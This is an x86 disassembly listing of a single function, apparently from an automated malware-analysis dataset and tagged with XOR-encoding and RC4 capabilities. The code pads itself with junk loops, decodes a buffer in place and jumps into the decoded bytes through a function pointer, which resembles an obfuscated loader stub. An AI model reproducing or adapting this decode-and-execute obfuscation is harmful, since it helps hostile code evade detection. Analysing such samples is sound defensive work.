Function at 0x401de0
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
push ebx
push esi
xor esi, esi
push edi
mov eax, 0x7d
mov ecx, 0x6b68
mov ebx, 0x1d8a
mov edi, 0x1bd
mov dword [ebp - 0x3c], 0x26fd
mov dword [ebp - 0x48], 5
mov dword [ebp - 0x50], 0x2a18
mov dword [ebp - 0x10], esi
mov dword [ebp - 8], 0x9b
mov dword [ebp - 0x34], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x44], 0x5790
mov dword [ebp - 0x4c], 0x5d49
mov dword [ebp - 0x54], 0x34
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x38], 0x5680
mov dword [ebp - 0x40], 0x2d05
mov edx, 0x74b6
mov dword [ebp - 0x58], 0x6b
lea esp, [esp]
cmp eax, 0x6b
cmovg eax, dword [ebp - 0x58]
dec edx
jne 0x401e60
cmp dword [ebp + 8], esi
je 0x402463
cmp dword [ebp + 0xc], esi
je 0x402463
mov eax, dword [ebp + 0x10]
lea edx, [eax + 0xf0]
mov eax, dword [eax + 0x1bc]
xor eax, dword [edx]
cmp dword [ebp + 0xc], eax
jl 0x402463
call fcn.00403650
mov ecx, dword [ebp + 0x10]
mov dword [ecx + 0x168], eax
mov eax, 0x3531dec1
imul ebx
sar edx, 4
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
jne 0x401ea4
mov esi, 0x132e
lea esp, [esp]
mov eax, 0x2f149903
imul esi
sar edx, 4
mov esi, edx
shr esi, 0x1f
add esi, edx
jne 0x401ec0
mov eax, 0x8d3dcb09
imul edi
add edx, edi
sar edx, 6
mov edi, edx
shr edi, 0x1f
add edi, edx
jne 0x401ed3
mov eax, dword [ecx + 0xf0]
xor dword [ecx + 0x1d4], eax
mov edi, dword [ecx + 0x1d4]
lea ebx, [ecx + 0xf0]
inc esi
mov eax, 0x55555556
imul esi
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, esi
lea eax, [eax + eax*2]
sub ecx, eax
jne 0x401f19
inc esi
cmp esi, 0x3aa7
jl 0x401f00
mov eax, dword [ebp + 0xc]
xor edx, edx
div edi
mov ecx, dword [ebp + 0x10]
xor esi, esi
mov dword [ecx + 0x148], ebx
imul edi, eax
mov dword [ecx + 0x234], edi
test edi, edi
mov dword [ecx + 0x36c], eax
mov edi, ecx
je 0x401f97
mov ebx, dword [ebp + 8]
jmp 0x401f50
mov eax, dword [edi + 0x148]
inc esi
mov al, byte [eax]
xor byte [esi + ebx - 1], al
movzx ecx, byte [esi + ebx - 1]
mov eax, dword [edi + 0x148]
mov dl, byte [eax + 1]
xor dl, cl
mov byte [esi + ebx - 1], dl
mov eax, dword [edi + 0x148]
mov cl, byte [eax + 2]
xor cl, dl
mov byte [esi + ebx - 1], cl
mov eax, dword [edi + 0x148]
mov al, byte [eax + 3]
xor al, cl
mov byte [esi + ebx - 1], al
cmp esi, dword [edi + 0x234]
jb 0x401f50
mov eax, dword [edi + 0x1d4]
xor esi, esi
dec eax
je 0x4020ca
xor ebx, ebx
mov eax, dword [edi + 0x1d4]
dec eax
push eax
push 1
push edi
call fcn.004034e0
add esp, 0xc
mov byte [ebp - 1], al
xor ecx, ecx
cmp al, byte [edi + ecx + 0x268]
je 0x401fd0
inc ecx
cmp ecx, esi
jbe 0x401fc0
jmp 0x401fd4
mov byte [ebp - 1], 0
cmp ebx, 0x725f
jge 0x402005
lea esp, [esp]
inc ebx
mov eax, 0x2aaaaaab
imul ebx
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
add ecx, ecx
mov eax, ebx
sub eax, ecx
jne 0x401ffd
add ebx, 5
cmp ebx, 0x725f
jl 0x401fe0
mov ecx, dword [ebp - 0x3c]
test ecx, ecx
je 0x402028
lea esp, [esp]
mov eax, 0xb60b60b7
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x402010
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x48]
mov eax, 0x3af8
mov edx, 0xff
cmp ecx, edx
cmovl ecx, edx
dec eax
jne 0x402035
mov dword [ebp - 0x48], ecx
mov ecx, dword [ebp - 0x50]
test ecx, ecx
je 0x402066
jmp 0x402050
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x402050
mov dword [ebp - 0x50], ecx
mov edx, dword [ebp - 0x10]
cmp edx, 0x2a47
jge 0x402091
mov ecx, 0x2a46
sub ecx, edx
mov eax, 0xcccccccd
mul ecx
shr edx, 3
lea eax, [edx + edx*4]
mov edx, dword [ebp - 0x10]
lea edx, [edx + eax*2]
add edx, 0xa
mov dword [ebp - 0x10], edx
mov al, byte [ebp - 1]
test al, al
je 0x4020a0
mov byte [edi + esi + 0x268], al
inc esi
mov ecx, dword [ebp - 8]
mov eax, 0x160c
mov edx, 0xfc
lea ecx, [ecx]
cmp ecx, edx
cmovl ecx, edx
dec eax
jne 0x4020b0
mov eax, dword [edi + 0x1d4]
dec eax
mov dword [ebp - 8], ecx
cmp esi, eax
jb 0x401fa8
push 0x75
lea eax, [ebp - 0xcf]
push 0
push eax
mov byte [ebp - 0xd0], 0
call fcn.00403390
lea eax, [ebp - 0xd0]
push eax
call fcn.00402ba0
add esp, 0x10
mov edi, 0x33d4
mov eax, 0x487ede05
imul edi
sar edx, 5
mov edi, edx
shr edi, 0x1f
add edi, edx
jne 0x4020f5
mov edi, dword [ebp + 0x10]
xorps xmm0, xmm0
mov dword [ebp - 0x30], 0x22145523
mov dword [ebp - 0x2c], 0xa7e43e5c
mov dword [ebp - 0x28], 0x356e5cbd
mov dword [ebp - 0x24], 0x84ba60d0
mov dword [ebp - 0x20], 0xe1a0a900
movq qword [ebp - 0x1c], xmm0
xor ebx, ebx
inc ebx
mov eax, 0x2aaaaaab
imul ebx
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
add ecx, ecx
mov eax, ebx
sub eax, ecx
jne 0x402155
add ebx, 2
cmp ebx, 0x5a43
jl 0x402138
movq xmm0, qword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
movq qword [edi + 0xc8], xmm0
movq xmm0, qword [ebp - 0x28]
movq qword [edi + 0xd0], xmm0
movq xmm0, qword [ebp - 0x20]
movq qword [edi + 0xd8], xmm0
mov dword [edi + 0xe0], eax
xor eax, eax
nop
xor byte [ebp + eax - 0xd0], 0xb
inc eax
cmp eax, 0x74
jb 0x402190
xor eax, eax
mov dword [ebp - 8], eax
cmp dword [edi + 0x1d4], eax
jbe 0x40238d
nop
movzx ebx, byte [edi + eax + 0x268]
imul ebx, dword [edi + 0x36c]
mov esi, dword [ebp - 0x34]
add ebx, dword [ebp + 8]
cmp esi, 0x1bf3
jge 0x4021ea
mov ecx, 0x1bf2
sub ecx, esi
mov eax, 0xcccccccd
mul ecx
shr edx, 3
lea eax, [edx + edx*4]
lea esi, [esi + eax*2]
add esi, 0xa
mov dword [ebp - 0x34], esi
mov esi, dword [ebp - 0xc]
mov dword [edi + 0x128], ebx
cmp esi, 0x48a2
jge 0x402224
jmp 0x402200
inc esi
mov eax, 0x55555556
imul esi
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, esi
lea eax, [eax + eax*2]
sub ecx, eax
jne 0x402219
inc esi
cmp esi, 0x48a2
jl 0x402200
mov dword [ebp - 0xc], esi
mov ecx, dword [ebp - 0x44]
test ecx, ecx
je 0x402248
jmp 0x402230
mov eax, 0xe6c2b449
imul ecx
add edx, ecx
sar edx, 6
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x402230
mov dword [ebp - 0x44], ecx
push 0x75
lea eax, [ebp - 0x147]
push 0
push eax
mov byte [ebp - 0x148], 0
call fcn.00403390
mov ecx, dword [ebp - 0x4c]
add esp, 0xc
test ecx, ecx
je 0x402288
lea esp, [esp]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x402270
mov dword [ebp - 0x4c], ecx
push 0x75
lea eax, [ebp - 0x148]
push ebx
push eax
call fcn.00403360
mov ecx, dword [ebp - 0x54]
add esp, 0xc
mov eax, 0x65b2
mov edx, 0x46
cmp ecx, edx
cmovg ecx, edx
dec eax
jne 0x4022a7
mov dword [ebp - 0x54], ecx
mov ecx, 0x1d
lea esi, [ebp - 0xd0]
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x5a43
jge 0x4022ef
lea esp, [esp]
inc ecx
mov eax, ecx
and eax, 0x80000003
jns 0x4022df
dec eax
or eax, 0xfffffffc
inc eax
jne 0x4022e4
add ecx, 2
cmp ecx, 0x5a43
jl 0x4022d0
mov dword [ebp - 0x14], ecx
mov edi, dword [ebp + 0x10]
mov eax, dword [edi + 0x128]
call eax
push 0x75
lea eax, [ebp - 0x148]
push eax
push ebx
call fcn.00403360
mov ecx, dword [ebp - 0x38]
add esp, 0xc
test ecx, ecx
je 0x402329
mov eax, 0x2c0b02c1
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x402313
mov dword [ebp - 0x38], ecx
xor esi, esi
cmp dword [edi + 0x36c], esi
jbe 0x40237a
mov eax, dword [edi + 0x148]
inc esi
mov al, byte [eax + 3]
xor byte [esi + ebx - 1], al
movzx ecx, byte [esi + ebx - 1]
mov eax, dword [edi + 0x148]
mov dl, byte [eax + 2]
xor dl, cl
mov byte [esi + ebx - 1], dl
mov eax, dword [edi + 0x148]
mov cl, byte [eax + 1]
xor cl, dl
mov byte [esi + ebx - 1], cl
mov eax, dword [edi + 0x148]
mov al, byte [eax]
xor al, cl
mov byte [esi + ebx - 1], al
cmp esi, dword [edi + 0x36c]
jb 0x402333
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp eax, dword [edi + 0x1d4]
jb 0x4021b0
mov ebx, 0x2889
mov eax, 0x22b63cbf
imul ebx
sar edx, 4
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
jne 0x402392
call fcn.00403650
mov dword [edi + 0x230], eax
add eax, 0xfffffffe
push eax
push dword [edi + 0x168]
call fcn.004011a0
push 0x940a700
lea ebx, [edi + 0xc8]
push ebx
call fcn.00401cc0
add esp, 0x10
mov ebx, 0x3280
jmp 0x4023e0
mov eax, 0x38e38e39
imul ebx
sar edx, 5
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
jne 0x4023e0
mov eax, dword [ebp + 0xc]
cdq
and edx, 0xff
lea ebx, [edi + 0xc8]
lea esi, [edx + eax]
sar esi, 8
test esi, esi
je 0x402428
mov edi, dword [ebp + 8]
push ebx
push 0x100
push edi
call fcn.004033c0
add esp, 0xc
add edi, 0x100
dec esi
jne 0x402410
mov ecx, 0x7893
lea ecx, [ecx]
mov eax, 0xea0ea0eb
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x402430
mov eax, 0x3e0f83e1
imul dword [ebp - 0x40]
sar edx, 3
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x40], eax
jne 0x402445
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, 0x2f149903
imul ecx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x402463
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret